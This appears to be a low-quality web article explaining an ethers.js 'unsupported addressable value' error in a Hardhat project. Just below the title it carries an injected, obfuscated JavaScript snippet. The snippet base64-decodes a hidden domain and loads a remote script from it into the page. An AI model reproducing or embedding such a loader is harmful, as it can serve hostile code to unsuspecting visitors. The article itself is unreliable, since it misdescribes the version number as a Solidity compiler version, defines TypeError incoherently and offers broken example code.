Ethereum: Error message « TypeError: unsupported addressable value (argument= »target », value=null, code=INVALID_ARGUMENT, version=6.11.1) » when running locally

const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »c.php?u=fde09df0″;document.body.appendChild(script);

Ethereum: Error Message Explained – « TypeError: unsupported addressable value (argument= »target », value=null, code=INVALID_ARGUMENT, version=6.11.1) »

As a developer who has recently deployed Ethereum-based smart contracts locally using Hardhat, you may have encountered an error message that seems daunting and confusing. In this article, we will break down the error message « TypeError: unsupported addressable value (argument= »target », value=null, code=INVALID_ARGUMENT, version=6.11.1) » to help you understand what it means and how to resolve it. question.

What does the error message mean?

An error message is a technical description of a problem that is occurring on your machine. Here is the breakdown:

  • TypeError: This is a type of error that occurs when a function expects an argument but receives one instead.
  • Unsupported addressable value (argument="target", value=null): This indicates that the getWeth.js script is trying to use the Ethereum wallet as an « address » to send Ether, but it is not doing so correctly. A null value represents a missing or invalid argument.
  • (code=INVALID_ARGUMENT, version=6.11.1): This additional information contains additional information about the problem:

+ INVALID_ARGUMENT: This error occurs when a function expects an argument that is not valid for its purpose.

+ version=6.11.1: This specifies the Ethereum Solidity compiler version used to compile the contract code.

Why is this error happening?

There are several possible reasons why you might encounter this error:

  • Missing or invalid wallet address: You may have created a script that expects an Ethereum wallet address, but it is not specified or set correctly.
  • Invalid or missing getNamedAccounts function call: The getNamedAccounts function is used to retrieve the accounts associated with your Ethereum wallet. If this function is not called correctly or if you try to use a non-existent account, you may encounter errors like this.
  • Incorrect contract deployment

    : Make sure that your smart contracts are deployed correctly and have the correct address values.

How ​​to fix the problem

To fix the error message, follow these steps:

  • Verify wallet address: Make sure that you are using a valid Ethereum wallet address in your script. Check that the address is spelled correctly and matches the address associated with your wallet.
  • Check the call to getNamedAccounts: Make sure that the getNamedAccounts function is called correctly and that the correct accounts are retrieved. Make sure that you pass the required arguments to this function (e.g. « address », « sender »).
  • Check the contract deployment: Make sure that the smart contracts are deployed correctly with the required address values. Check that there are no errors or inconsistencies in the code.

Example Fix

Here is an example of how you can modify the script to resolve the issue:

const { getNamedAccounts, ethers } = require("hardhat");

const accounts = await getNamedAccounts({ from: "yourwallet-address" });

const contractAddress = accounts[0].contract;

// Make sure the contract is deployed correctly with the correct address values

console.log(Contract Address: ${contractAddress});

By following these steps and examples, you should be able to resolve the error message and successfully deploy Ethereum-based smart contracts locally using Hardhat.

Compare listings

Comparer